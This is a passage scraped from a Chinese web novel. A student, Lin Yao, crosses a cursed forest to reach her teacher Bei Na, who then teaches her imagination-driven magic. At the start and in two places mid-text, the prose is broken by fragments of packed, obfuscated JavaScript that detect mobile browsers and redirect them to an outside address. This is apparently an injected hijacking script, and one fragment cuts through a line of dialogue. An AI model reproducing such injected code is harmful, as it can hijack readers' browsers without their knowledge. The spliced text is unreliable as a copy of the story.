l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947089|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>与脑内想象以及官网展示的宣传片不同,没有古色古香的精美建筑物,没有水清石秀的自然风光,更无人美心善的学长学姐……只有树、树、树、藤蔓。 一棵棵高耸入云的红皮云杉,一层层遮天蔽日的茂密树冠,长满的荆棘,闷热的风,潮湿的空气和聒噪的虫鸣,处处是野草堆,路上遍布树根碎石,连一个让人落脚的地方都找不到,完全就是一片巨大的未经开发的原始森林。 ——事实证明,老一辈的叮嘱不能不听。 这出人预料的神展开让林瑶一下子就傻眼了。 好家伙,校内补习爆改野外求生?合着你们的图片是仅供参考,请以实际为准?难怪不允许父母陪同进来,是怕暴露了吓得他们当场给孩子办理退学吗? 她要是愤怒的学生家长,高低得喊一句:“日你祖宗十八代,退钱!”。 哈,开什么国际玩笑? 你让一个野外生存经验几乎为零的人单独在原始森林里活动压根就是一件找死的事,更别说还要在茫茫树海中寻找一栋办公大楼……草啊,怎么听上去越来越离谱了?这鬼地方究竟有哪点是可以和象征着人类文明的大学教育挂钩的呀?! 反正谁爱玩谁玩,她才不奉陪呢。 林瑶果断地掏手机准备发微信给贝娜老师请对方出来接自己。 结果大拇指刚摁亮屏幕敲键盘,打字打到一半猛然发觉异常的她定睛一看直接被气笑了—— 只见屏幕的右上角,原本满格的信号不知何时下降至空格,微信显示消息未发送成功的红色感叹号是如此刺眼,刺得她眼睛都要瞎掉了! 我、草、你、大、爷。 没信号,特么的居然没信号?!又不是真的活在深山老林,在如今实现了信号覆盖全世界的情况下你竟然告诉我手机没信号?故意玩我是吧?! 突发的意外气得林瑶疯狂飙出一串国骂,逮着圣拜纳迦的建筑设计师问候了他一整个户口本,根本停不下来,怨念重得估计连路过的蚯蚓都要被残忍地切成两半。 等激情痛骂20秒终于发泄完暴躁的情绪,林瑶才抬手猛扇自己一耳光强制冷静,努力转动脑筋思考解决问题的方法。 她先是飞往半空,想要从高处俯瞰整座森林,以此寻找目标径直抵达,避免无意义的绕路。 然而这座森林似是受到了某种诅咒,她飞得越高周围的树木长得也越快越高,茂密旺盛的枝叶始终挡在少女的头顶阻拦她前进,就仿佛一个坚硬的牢笼企图将人困死在这化为养料。 她又试着感应附近生物的脑电波,希望能遇上人类或者别的具有一定智慧的外种族,可是正如保安先前所言,学校的教职工都放假了,此刻根本指望不上援助,就只能依靠自己。 待采取多种包括火烧林子在内的方式均无果后,林瑶才肯放弃,尽管内心依旧咬牙切齿很不情愿,但还是决定认命并老老实实地按照对方规则,尝试靠自己的两条腿走出迷宫。 Fuck,最好别让我知道学校的建筑师是谁,不然……哼,我要在他的广告评论区里雇水军刷几百几千条差评! 少女确定水壶内的存量足够饮用后便使劲拽了拽书包肩带,接着拍拍脸、跺跺脚、捏紧拳头给自己加油鼓气再原地做几个深蹲。 简单热完身的林瑶单手扶着脖子左右扭动,同时脑子又复习了一遍可以派上用场的攻击咒语,确保状态完美能够随时应战后她就拎着东西一边骂骂咧咧一边迈开双腿,主动踏进了这座显然葬送过许多生命的危险森林。 毫不犹豫。 23.森林 森林很大,大到一眼望不见边际。 脚下的路很长,长到令人心生绝望。 踩着硌脚的碎石与腐烂的枯叶,不知前行了多久的少女喘着粗气,胸膛剧烈起伏,跳动的心脏快得甚至隐隐抽痛。 她扶着旁边的树干缓了缓又艰难地高抬左腿,小心翼翼地跨过倒塌在地的半截树干以免被绊倒。 今早出门前特意打满的一瓶水此刻只剩下三分之一,林瑶舔了舔干燥起皮的嘴唇,不断咽着唾沫,喉咙渴得快冒烟都不敢把水全部喝完,怕现在喝了之后没得喝,那就真的只能等死了。 书包背着太热已经跟苹果盒一起放进储物戒指,衣领的前两颗纽扣更是早早解开敞露漂亮的锁骨,额头渗出的几滴热汗划过脸庞打湿内衫,整个人就像绕着城市负重跑了一场极限马拉松,血条都肉眼可见地即将清零了。 再瞄一眼屏幕,才过去35分钟。 不对劲。 这座森林百分百有诅咒,自己的体力不知为何下降得特别迅速,明明这些日子她经过各种严厉的格斗训练绝对不可能那么快就感觉疲惫。 反观身边的真菌和植物,随着时间的流逝颜色愈发鲜艳,瞧着就像、就像—— 它在吸收闯入者的力量用于壮大自身。 林瑶再次吞咽口水,紧紧抿着唇,做出判断:必须尽快脱离,否则到最后若是遭遇敌袭,丧失体力的自己必死无疑。 早知如此,她平日应该多花精力额外背一些与诅咒相关的偏门法术用来应对今天这种特殊情况的,再不济也要多翻翻百科全书了解了解,不能光想着“进攻就是最好的防守”,如现在,满脑子的攻击咒语竟一个都帮不上忙。 可恶! 正当林瑶为自身的不足懊恼反省时,她放出去警惕四周的精神力突然捕捉到了某些异常。 “……” 逐渐停下脚步,她眯眼,从戒指里取出一支钢笔反手握紧,笔尖朝外,然后弯着腰放平呼吸,借着高高的荆棘丛掩盖身型悄无声息地向前走去。 枯黄的草杆半米多高,随着微风吹拂轻轻摇曳。 拨开垂落的藤蔓,林瑶保持着一种随时能够蹦起来的架势,单膝跪地仔细检查刚刚扫描发现的痕迹。 仿佛有谁曾拖拽着重物摩擦地面从这里经过,将原本野蛮生长的杂草折断强行碾出一条平整小路,奇怪的是,附近并未搜寻到人类与野兽的脚印。 拖痕不算太长,蔓延至灌木丛中就消失不见了,可这件重物的宽度…… 林瑶抬手比划了一下比划不出来,认真思考一会后选择躺倒,身子刚好覆盖那道印迹,可能其中有细微偏差,然而她敢肯定决不超过半指。 也就是说,被什么东西拽着拖行的是个和她差不多外形的物品,或者……人。 意识到这点,少女的心瞬间沉了下去。 如今再担忧上一批受害者的安危也是无济于事,她得先保证自己的存活才能谈救援。 目前最要紧的,便是搞懂这座森林除了吸收力量外还存在什么威胁。 林瑶站起身,拍干净粘膝盖的泥土,扬起脑袋望向头顶被茂密树冠遮盖的蔚蓝天空,透过那层屏障似乎看见了正张开翅膀飞翔、露出尖爪耐心等待猎物放松警觉的可怕雄鹰。 “……” 她深深地闭了闭眼,再度睁开,脸上的表情已变回一片平静。 继续前进,又敏锐地发现像刚才那样的留痕,有好几处,估计是离敌人的巢穴越来越近了。 林瑶提高警戒,本就放慢的速度落脚更加谨慎,但没过多久,她察觉到自己的视力出现了问题。 ——她开始看不清东西了。 白茫茫的浓重雾气不知何时弥漫开来,似下着一场温柔冰凉的细雨,笼罩着翠绿的森林,模糊了枝叶的轮廓。 周围云雾缭绕、仙气飘渺,孤身一人的清秀少女静静地站在若隐若现的林木之间,仿佛立于虚幻梦境与现实的交叉口,辨不清真假方向。 【注意路牌。】 林瑶注视着林子里宛若挂起一层白纱的大雾,莫名想起保安在推门前对自己的那句提醒。 ……所以现在是要找到路牌才能出去吗? 她眯了眯眼睛,可环顾一圈仍旧是朦朦胧胧的一片啥都不清楚,像是高度近视还没戴眼镜,五十米内人畜不分。 完犊子,就这种糟糕透顶的状态要怎么找?怕是路牌成精主动戳到了自己跟前都不晓得,啧。 林瑶没办法,只能榨干剩下的魔力再往身上套多几层防护罩,捏紧钢笔缩进壳子里硬着头皮随便选条路出发,内心疯狂祈祷着,希望敌人不要学那些讨厌的老六在关键时刻搞偷袭。 少女抬手摸着旁边的树干一点一点地缓慢挪动,每走一步都要试探性地踩一踩土确保不会踏空,又在茫茫白雾中聚精会神地扭头观察四周找路牌,加之体力不断流失,很快就气喘吁吁,累得人想死却还是没找到目标。 她甚至都怀疑是不是自己理解错保安的意思了。 草(一种植物)。 就在林瑶准备放弃这个思路另外想方法时,耳朵忽然听见了一声从不远处传来的叫唤。 “……瑶……林瑶……瑶瑶……” 隐隐约约,透着虚无缥缈的空灵,恍若一阵吹起发丝的轻风。 随即她就看见一道模模糊糊的黑色人影藏在树后面,仅探出上半身,幽幽地朝她招手。 迷雾里可见度很低,只能确定一个大概的轮廓。 “……林……瑶……” 他呼唤着,声音听上去异常熟悉,疑似少女认识的熟人。 林瑶先是点了点头,紧接着下一秒,她迅速收回手二话不说转头就跑,再不见刚刚的虚弱,眨眼间便窜出去几十米,将“好朋友”远远抛在身后。 草,那玩意明显就是不干不净的脏东西,不跑难道要留下来给对方加餐吗?!她又不傻! “……林瑶……林瑶……” 见人一头扎进白雾的深处,背后的呼喊竟一声比一声急促,也越来越清晰,宛如一块甩都甩不掉的狗皮膏药,始终粘着脚底板,阴魂不散地追逐。 林瑶埋头冲得更快了,一边跑还一边大喊:“这位叔叔阿姨哥哥姐姐弟弟妹妹,拜托您不要再追啦!我身上都是骨头没肉的!而且煮熟了口感肯定又干又柴的一点都不好吃!” “我有苹果!苹果!我给您上供苹果行不行?不行的话您放我回去,我明天带一篮子的水果和饮料过来让您慢慢挑!” “有没有人啊?!究竟有没有人啊?!我要死了我真的要死了!救命嗷——!!!” “咕咕!” 似乎从小主人那中气十足、撕心裂肺的哭吼声中听出她的害怕,原先乖乖躲在口袋里装玩偶的白鸽顿时着急了,连忙扇动着翅膀飞出去,整只鸟拦在面前不让她跑。 “咕!咕咕!咕咕咕咕!” 尖喙一张一合,它急得冒出一大串鸟语,可惜林瑶没加载翻译软件,反而伸手一把抓住它重新塞回怀里带着一起跑。 “???” 没想到小主人会抱着自己一起逃,从未在主人那边有过这等好待遇的灵鸽心里震惊,连叫声都不可抑制地卡了一下。 但它又快速回神,经历一番剧烈挣扎后成功脱离女孩怀抱,却没再拦路,改用爪子勾住她的衣角尽最大的力气扑腾着翅膀阻止。 幸好这次林瑶明白了它的意思,逐渐停步。 她第一时间回头看后面,见没“人”追了才松一口气,转而望向身旁的白鸽。 “怎么?雾里有危险?”不然舅舅的式神不会一直阻拦她。 “咕。”鸽子点头,轻巧地落到自家小主人的肩膀上,伸出翅膀指向了黑影方才出现又消失的地方。 “是让我去找那一位吗?”林瑶试图分析对方的动作意图。 “咕咕。”第二次点头。 “他是亡灵吗?” “咕。”赞同。 “会威胁我的生命吗?” “咕咕。”晃脑袋。 “这样啊……”林瑶一脸若有所思地摸摸下巴。 仔细回想,自己猛地冲向大雾时,那位不知是先生还是女士的朋友呼唤声确实急了,难不成也是想提醒她救她? 要不就找对方问问路? 毕竟总不能长期待在这片连式神都不愿意久待的鬼森林里吧,变数会更大。 林瑶果断做出决定,于是紧紧抱着白鸽顺着亡灵之前现身的方向走去。 说来也有点古怪,她独自一人乱逛的时候就像遇到鬼打墙,雾气弥漫,哪哪都没区别,可当自己朝着黑影出现的地方前进后,周围环境带给人的诡异感觉就渐渐消散了。 等少女踏出最关键的一步,抬腿跨越了那条无形划定的界限,白雾开始退散,极其缓慢地显露出被它遮掩的一切。 复行数十步,豁然开朗。 映入眼帘的是一泓晶莹剔透的宽阔湖泊,恍若一面苍蓝的天空之镜,精美的凉亭坐落湖中,鱼儿在白云里游荡,粉色雪色的芙蓉交缠盛放,在如碧玉般翠绿的荷叶间展露着出淤泥而不染的清纯。 即便是已经见过许多景观的林瑶也不免为大自然这份鬼斧神工的美陶醉。 “咕咕。” 雪白的灵鸽用力扯了扯少女的衣角,催促的叫声唤回了她的心神。 脱离白雾后视力恢复正常,林瑶依照它的提示低头,立马注意到岸边的异样—— 在距离湖泊最近的空旷草坪上有一大滩水迹安安静静地躺着,明亮澄澈的水珠划过翡翠般的草叶,于灿烂阳光的照耀下折射出金黄色的光芒。 十分唯美的画面。 可是从湖岸边到草坪的这条路上沿途却洒落着一团团不连串且湿漉漉的诡谲阴影,就好像……有人攀着岩壁从幽暗的湖底爬出来,一步一步走向森林最终又停留在草坪久久不动。 眯眼想了想,林瑶干脆提着裤子径直蹲下身,拿出水壶淋湿手掌再“啪”地盖在印迹旁进行对比,尝试验证自己的猜想。 比较之后,接近,但不是。 站起来趁着水还没干赶紧踩上去用脚抹开,这次两边痕迹就长得一模一样了。 “……” 她抬头瞅瞅草坪的那一大滩水迹,又回头瞅瞅波光粼粼的美丽湖泊,顿时陷进了沉默。 妈妈,女儿先前在森林里疯狂逃命时的不妙预感真的灵验了欸。 烦躁地抓了抓头发,双手搭着膝盖,林瑶保持半蹲的姿势慢慢挪向岸边,随即探出一颗小脑袋勇敢地往水底下看。 微风拂过,锦鲤嬉戏,清澈透亮的平稳湖面泛起一圈圈细小涟漪,岁月静好,望之令人心生安定。 只是在冰凉湖水的最深处,有一团浓重的墨汁忽地扩散开来,随着暗流飘摇,轻柔得好似水草荡漾。 少女趴在岸上直勾勾地盯着它看,盯着盯着盯久了,莫名其妙的,骤然冒出一个念头。 那团乌黑的水草……会不会是人的头发? 她没敢细想,强迫自己转移注意力,然后捏着喉咙清了清嗓子,鼓足勇气向水底喊话。 “您好!我是被圣拜纳迦的贝娜老师叫来补课的学生,请问现在有人在家吗?方便指个路吗?我找了半天都没找到办公楼。” “对不起,方才在大雾里我不是故意躲着您跑的,我是太害怕了,明天我会带些礼物过来赔罪,请您原谅我的无知吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13952466|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完林瑶等了一会,然而耐心等了几分钟都不见眼前的湖泊有什么动静。 正当她以为是自己猜错或者人家生气了的时候,原本风平浪静的水面竟突然沸腾起来,冒出无数个七彩斑斓的大泡泡,吓得她条件反射地隔着口袋抓紧里边的钢笔。 待沸腾结束,泡泡破碎,涟漪扩散,清透的湖水浮现出两行小字。 【西南方向一千五百三十米处。】 能沟通! 不曾想今天会有意外收获的林瑶顿觉惊喜,因为这代表自己能够通过对方了解更多隐秘知识,从而避开那些有怪物存在活动的可怕禁区,安全性和存活性提升了不止一倍。 不过很快她又露出尴尬为难的表情。 呃,不好意思,那、那啥……西南方向究竟是哪个方向啊?从小就分不清东南西北只懂得前后左右还是个标准路痴的我该怎么走呀? 好在手机里自带指南针,直接免除了一番烦恼。 【你不该周末来学校,无人看守的圣拜纳迦就是一个狩猎场,非常危险。】 没等林瑶开口表示感谢,沉静的水面又浮现出了几行字。 她一怔,反应过来连忙追问:“只有森林吗?” 目前已知的三种危险:体力流失、隐藏的吃人魔兽、白雾,全都集中在森林。 所以她迫切地想要知道危险源除了森林还有哪,自己会不会遇上,若是遇上该采取何等措施应对。 “我有什么需要注意的地方吗?” 【不要在森林久留,不要进入迷雾深处,不要忘记自己的名字与身份,不要触碰鲜艳的花草,不要违反主人制定的规则,以及……小心蛇。】 “蛇?”林瑶愣住,不知怎么的,她忽然想起了那道蔓延至灌木丛的拖痕。 难道说…… 【是的。】 水波粼粼,鱼儿摆尾,幽幽显现的一行字透出几分细思极恐。 【它们一直跟在你的背后。】 唰、唰、唰。 又是一阵秋风吹来,嫩绿的树叶沙沙作响,摇曳着,枯黄的花瓣打着转,轻飘飘地落到地上。 “……” 林瑶不说话了。 一股熟悉的被注视感再次降临,沿着脊椎骨缓缓地往上攀爬,最后停留于肩膀,像是有条蛇悄悄张开了嘴用毒牙抵住你的颈动脉,预刺破你的血管将毒液注入。 少女没有扭头,一动不动,任由脊背渐渐发凉。 “十分感谢您的提醒,我会记住的。”林瑶回话的语气依然温和,眼底的神色却是无比冷静,甚至为了缓和这股紧张的氛围还另外找了个轻松的话题。 “对啦,有一件事我想问问您,就是进门前有位好心的保安先生告诉我要注意路牌,然而这一路上我都没遇见过,请问您知道在哪里吗?” 莲叶低垂,晶莹的水珠砸落湖面,扰乱了字迹。 本该是令人动容的画面,结果…… 【我就是路牌啊。】 林瑶:“……” 林瑶:“…………” 林瑶:“………………” ——大草啊!建筑师你真是个绝世鬼才呀! 拜托,你见过有哪个正常人会跟你一样把路牌设计成那样的?!白茫茫的雾里骤然钻出一鬼影朝我招手喊名字,特意搞这一出你是生怕吓不死人对吧?! 呸!!!垃圾建筑师,我要咒你走路踩香蕉、喝水塞牙缝、吃方便面永远没有调料包和塑料叉! 在心底逮着该死的罪魁祸首怒骂半晌,等好不容易骂够瘾了她才勉强停下,礼貌地与对方告别并承诺明天会带赔礼谢罪,接着掏手机打开指南针,根据指引往办公大楼出发。 终于,在历经磨难、全程耗时76分钟后,林瑶总算成功抵达了本次目的地——她的补课教室,虽然已经迟到很久了。 真是闻者落泪听者伤心啊。 她仰着头,打量贝娜老师所在的办公楼。 与其说那是一栋楼,倒不如说那是一栋三层楼高的小别墅,建在古树林中,带花园,带水池,四面环绕着锋利恐怖的深红荆棘,乍一眼看上去还以为是魔女居住的鬼屋。 好吧,形象符合,老师和学校同样走阴森风格,在这上课的学生有福了,估计每天都能玩到自己最喜欢的大逃杀游戏,多棒呀。 林瑶无声地扯了扯嘴角,眼神不禁流露讽刺。 她重新背书包,左手提着一盒苹果,上前几步屈指敲了敲大门。 叩叩。 叩叩。 可奇怪的是,她连续敲了几次都无人应,跟保安亭的情况一致。 ……没听见? 林瑶一脸凝重地抬手摸摸下巴,准备再给人敲个欢快的交响乐,灵敏的耳朵就捕捉到了从屋内传出的木制轮椅滚过地面的咯吱咯吱细响。 是贝娜老师。 果不其然,当铁门打开后,一张知心姐姐般成熟稳重的温柔脸庞徐徐展露眼前。 “抱歉,刚才在用早餐,所以我就没注意到动静开门迟了。”女人先是表示歉意,这才直起身笑盈盈地望向对面颇为狼狈的可爱少女,声音略显轻快,“但小瑶你来得比我预计中的要晩呢,莫非是半路碰见什么麻烦了吗?” 贝娜坐在轮椅上,悠然悠哉地靠着椅背,单手支颐,对于她遭遇过的危机貌似真的毫不知情,柔软的语调中还夹杂着一丝浅淡的关心。 “总之,先进屋喝杯热茶暖暖身子吧,总是崩紧神经不太妙哦,更何况圣拜纳迦很安全,在这里不会有人伤害你的。” 女人轻轻一笑。 “因此你可以放心大胆地向老师倾诉。” “我会耐心听你讲完的。” 24.教学 “进来吧。” 贝娜说完这话就驱动轮椅往屋内滑去,林瑶见状立马跟着对方一起进屋。 换上拖鞋踏入客厅,她一边放下礼盒一边不动声色地打量周围环境。 嗯,该怎么说呢……跟自己脑子里的阴森恐怖的想象不太一样,甚至可以说是完全相反。 贝娜老师的房子虽然外表看起来很可怕,但室内的装饰装修却很普通,有沙发、电视和茶几,也有卫生间、厨房和餐厅,雪白的墙壁上还有彩笔描绘的精美花纹,电视机旁边用红木打造的书柜里摆放着各类书籍与精致小巧的古董物件,有人居住的生活气息相当浓厚。 与外边大逃杀游戏的残酷氛围特别不符,在这死亡森林中简直是格格不入的存在,堪称异类。 不过林瑶很清楚:被异常包围还能保持正常的才是更糟糕的那一方,放二次元里通常是幕后boss的所在地。 于是她深呼吸一口气,以缓解紧张的情绪。 “你看你,来就来了还带什么礼物?太客气啦。”女人温柔的嗓音自厨房里悠悠飘出,伴随着玻璃与玻璃在水流冲击下碰撞的响声。 “你是想喝果汁还是茶?嗯……果汁如何?比起苦涩的茶叶,你们年轻人应该都更喜欢喝饮料吧?” “其实倒一杯白开水就好,麻烦您了。”她嘴上回答对方的话,眼睛却在持续观察四周的摆设。 没过多久,林瑶就注意到了一个置于书柜第五层的相框。 相框就是超市内随处可见的那种寻常相框,色彩单调材质光滑,样式并不出奇,吸引她目光的是存放在里面的照片。 那是一张……有些奇怪的双人照。 合影中的一位主人公明显是自己熟知的现正在厨房准备茶水点心的贝娜老师,但不知为何,她看向镜头的眼神呆滞无光,表情僵硬,浑身透着一股不自然的诡异。 另一位则是一名成年男性,站在最后面将贝娜紧紧抱进怀里,下巴抵住她的肩膀,面部挂起的一抹微笑轻柔又温和,却莫名给人一种他实际上是在假笑敷衍你的错觉。 过于亲密的姿态让别人一眼看过去就知道他们的关系不一般。 然而林瑶关注的重点不是这个,尽管内心对此也很好奇。 她盯着这张相片,眉头却皱得越来越紧。 因为,照片里这对疑似情侣的两人—— 他们的长相几乎别无二致,只是男性的轮廓要比柔软的女性更加深刻一些,除此之外你压根找不出具体差别。 是兄妹?或是克隆人? 林瑶抬手捂嘴,面露沉思,此刻大脑飞速运转,冒出一个接一个离奇古怪的想法。 当贝娜端着托盘离开厨房来到客厅时,瞅见的就是这么一幅清秀少女在cos思想者的画面。 她不禁失笑:“小瑶,你傻站着做什么呢?快点过来,要开始补课了。” “啊,好的。”林瑶回过神赶紧走到老师身边帮忙把托盘放桌上,可忍了忍始终忍不住那股好奇心,斟酌一番后便大胆问出今天的第一个问题。 “老师,我刚刚在无意间看到书柜摆有一张您跟别人的合照,那位先生的样貌和您一致呢,请问是您的家人吗?当然,如果不方便说就算了。” “有何不方便?既然我会放在客厅展示就代表没什么好遮掩的。”贝娜笑着解答学生的疑惑,“他确实与我有关系。” 她重新扭头看了看相片,接着又转回来,沉默片刻后盯着女人的双眼,像是要验证自己的猜想一般缓慢开口:“贝纳奇校长?” 其实林瑶一直在调查对方,毕竟总不能连校内负责看管自己的人是谁都不知道吧? 结果她查了一圈却发现圣拜纳迦的官网上根本没有哪位教职工的姓名是叫[贝娜],只有校长[贝纳奇]与其相似,可惜当初由于性别不同就被暂时排除了此可能性。 但是能被舅舅郑重托付的、手底下有不少优秀教师、认为教育方面全权由对方管、并且能在圣拜纳迦自由活动还拥有一栋办公楼、周末可以让她随意出入校园不受阻拦……这些条件统计加起来大概率就是了。 不愧是圣拜纳迦,连校长都走在时尚的最前沿,男扮女装竟扮得那么像,输了输了。 “猜对一半。” 贝娜单手撑着脸颊,倒也不打算卖关子,十分爽快地说出答案:“合影中的那个人正是贝纳奇。” “他是我的爱、是我的丈夫,我与他共享世间的一切,不分彼此。”她微微勾起嘴角,眼中似有秋波流转,轻轻地笑了笑,“包括生命、力量、灵魂和掌握的权利。” 林瑶:“……” ——请问您丈夫同意吗? 她听完这番话,觉得整个人都麻了。 这究竟是哪来的病娇啊?!难怪舅舅跟艾遥会这么嫌弃讨厌你。 “好啦,闲话讲到这,接下来我们要上课了。” 贝娜推着轮椅停靠至沙发旁示意她坐,林瑶乖巧地捧着一杯水坐在沙发上。 “在正式开始前我想问个问题。”女人往后靠着椅背,笑意盈盈,“小瑶,你理解中的‘修炼’是什么样子的呢?” “……吸收日月精华,背咒语、背法诀?”林瑶迟疑地回答。 “这倒不失为一种好办法,可惜在我看来过于约束天性和低效率了。”十指相交,贝娜悠悠讲道,“应试教育,如果只单纯追求成绩或毕业找个工作那也没什么毛病,甚至有助于教会维护社会稳定。” “不过光靠死记硬背是不会变成真正意义上的强者的哦,你知道吧?” “我知道。”林瑶点点头,面色平静,“所以我来找您了。” 贝娜勾唇笑了笑:“好孩子。” “还记得我以前跟你说过力量的本质就是力量,自由如我们的想象,根本无需操控吗?” “记得。”林瑶仔细回忆,再次复述,“您还说过只要我们想,就能做到无所不能。” “记性不错。”她笑眯眯地鼓掌夸赞一句才接着往下讲,“关于为什么不建议你背书,打个比方,你挑选完想要的商品拿去柜台付账的时候是不是直接把钱给店员或扫码就行了?” “……是?”林瑶不太明白她的意思,仅能迷茫地跟着肯定。 “意思是买东西就买东西,一手交钱一手交货,没有任何前置步骤,而你念的咒语便等同于在付款前还要多跳一段舞。”贝娜十分耐心地解释,“不仅毫无意义还拖沓,素质不高的正常人早就□□队了,换作异端,在你念完第一句前就足够他们杀死你几回顺带鞭尸啦。” “所念即为真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993084|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”指尖轻轻点着太阳穴,她饱含深意地看了眼对面的学生,“只要我们想,只要某个念头浮现,力量就会自然而然地结合想象力实现我们的心愿,不需要特意操纵。” “不要束缚自己的思想,按部就班只会使你的思维越发僵化不懂创新变通,那样是绝对成为不了金字塔顶端的强者的。” “小瑶,你要懂得释放自己的想象力,天马行空、无拘无束方能把体内的力量发挥到极致。” 林瑶若有所思:“比如我现在想吃个草莓蛋糕,不必念制作食物的咒语,光靠想象也能变出来?” “你可以试试。” 闻言少女立即闭上眼睛在心里默念“我要蛋糕我要蛋糕我要蛋糕……” 然而十几分钟过去了,她的手中依旧空空如也,毛都没有一根。 “呵呵。”贝娜被逗得握拳抵住嘴唇闷笑,偷乐了一阵才勉强平复情绪笑吟吟地解答,“想象要具体而且必须包含已知的信息,你知晓人类是无法凭空捏造未见过的事物的吧?太过抽象容易诞生怪物哦。” 欧克,相当于往原著中添加我自己理解的内容,是二创,但仅凭一个大概印象就冲动开坑,便会OOC得连读者都认不出来这是坨什么狗屎玩意。 自以为搞懂了的林瑶重新阖眼,这次静下心来慢慢在脑海深处勾勒图像。 外形选择黑森林蛋糕吧,不要奶油,多加点樱桃和草莓,至于味道嘛,微甜即可,我不喜欢太甜的甜品,会腻。 好,就照着这副模样捏型…… “哎呀,成功了,小瑶你果然有天赋呢。” 伴随着女老师欣喜的赞叹声,她缓缓睁开眼睛,就看见掌心里多出的一盘……呃,奇形怪状的东西。 它拥有黑森林蛋糕的美丽外表(Ps.毫无奶油版本)、身体内还长满了樱桃草莓,软塌塌的最顶端甚至非常贴心地自带银叉,像是穿着奇装异服的矮豆丁趴在盘子上热情洋溢地邀请你快点来吃掉他。 Emmmm…… 头一次发现自己还残存着“艺术细胞”的林瑶面露纠结,犹豫了两秒钟才小心翼翼地捏起叉子挖了一块蛋糕送进嘴里试探地嚼两下,然后惊讶地发现居然真是自己想象中的那种微甜口味,尽管外貌不咋滴。 与此同时,她也终于发觉了教会一定要固化限制民众的思想,不允许任何改造或创新出现的理由。 倘若力量的实际运用方法是这样,那、那么,岂不是说明此世界的每一个人…… “都拥有创造万物的能力吗?”她眼神恍惚地、呢喃着说出声。 多么神奇啊,神奇得简直像一个不可思议的美丽奇迹。 “是啊,这是主赋予我们的天然权利。”贝娜微笑着肯定她的言论,双手交叠置于腿上,淑女般的姿态优雅且从容,“所以教宗大人才会禁止,若是放纵大家滥用力量,社会秩序很快就会失衡,弱肉强食成为唯一法则,世间将陷入一片混乱。” “小瑶。”她轻声呼唤着面前仍在怔愣、暂时回不过神的少女,面部的神态和语气忽然变得严肃认真,“不管你在心底是如何看待我们行为的,至少在保护世界这方面上教宗大人无可指摘。” “我敢笃定,在这颗堕落不堪的溃烂星球里——不会再有谁,比教宗大人更爱这个世界。” 25.教学 不会有人比教宗更爱世界? 林瑶对此不置可否,脑子相当清醒。 毕竟爱世界不代表爱世人,比如最著名的宇智波那谁和宇智波那谁谁联合搞出来的全大陆月X计划,他们希望世间和平的同时不也顺手干掉了许多碍事者和发动了第四次忍界大战吗? 所以眼见为实耳听为虚——这种洗白方式对她是不起作用的!放弃吧朋友! “可是如果大家都拥有创造万物的能力,那要怎么战斗怎么分出胜负啊?难不成是比谁的想象力更加丰富吗?” 林瑶一脸迷惑地挠挠头,脑海中不由自主地浮现出两个小人站在操场上互相创造武器疯狂对殴的神奇画面。 贝娜笑了笑,端起桌上的茶水微抿一口,不答反问:“那要是换成小瑶你会怎么战斗呢?” 少女撑着脸颊沉思片刻,想起动漫里那些反派主角放的大招,隐约明悟。 “我可以降下万千天雷聚集轰炸目标,也可以跟漫画家小说家一样创造出某个强大的角色再赋予他各种设定让他代替我战斗!”我的OC成精系列。 而且不止是这样,倘若真的能够具现化她那堆二次元男神女神们,那教会的所有人从现在开始都可以颤抖地逃跑了!来好好见识一下忍术霸气念能力及咒术的厉害吧!咩哈哈哈哈! 林瑶在内心叉着腰极其嚣张地仰头大笑,不过等放纵完理智又很快回笼。 “除了我,别人都能用这种招数吧?难道就没有任何限制吗?”十指相交握在一起,她皱着眉扭头看向对方,“所念即为真太可怕了,若是毫无制约的话,即便只有少许强者能做到,世界也会乱套的吧?我不信异端那边会乖乖听教宗的命令并遵守法律。” 然而实际情况则是:异端一直很安分,至少都是小打小闹没乱来,不然新闻及网络上肯定会有相关报导的,她日常搜集情报时却一次都没瞅见过。 因此这其中一定存在某种达成条件或局限,能够具现化想象的力量并非万能。 “猜对了呢,小瑶真敏锐啊。”贝娜放好杯子笑吟吟地望着少女,轻快的语气宛若逗弄花瓣的蝴蝶,碰一碰又立即扇动着翅膀飞离摇晃的花。 “依旧是原来的例子——钱越多,能买到的东西就越多,钱越少,能买到的东西就越少。” “把举例的金钱换成力量也是相同的道理。”女人竖起食指在空气中画了个圆圈,慢条斯理道,“储存力量的容器有大有小,容量少的一方怎么可能压得过容量更多的那一方?即使不谈比试,你想实现的愿望要是过于庞大,例如毁灭世界一类,银行卡里却又拿不出相对应的金钱同样会失败,严重点的甚至会遭受反噬凄惨死掉。” 果然没那么简单呢…… 林瑶若有所思地抬手摸着下巴,仿佛认真上课的好学生,就不懂的问题积极询问:“假如我真的很想完成一件事但又不够力量做到,那有没有别的办法可以弥补中间的差距?” 问出这句话的时候,她藏于胸腔内的心脏在紧张地加速跳跃。 假使真有捷径,那岂不是说明、岂不是说明……她能够回家了吗? 不需要组建势力或者费心拉拢皇室与教会为敌亦能单凭自己安全返回故乡。 咚,咚咚。 恍若鼓声响起,通红的心跳得越来越快。 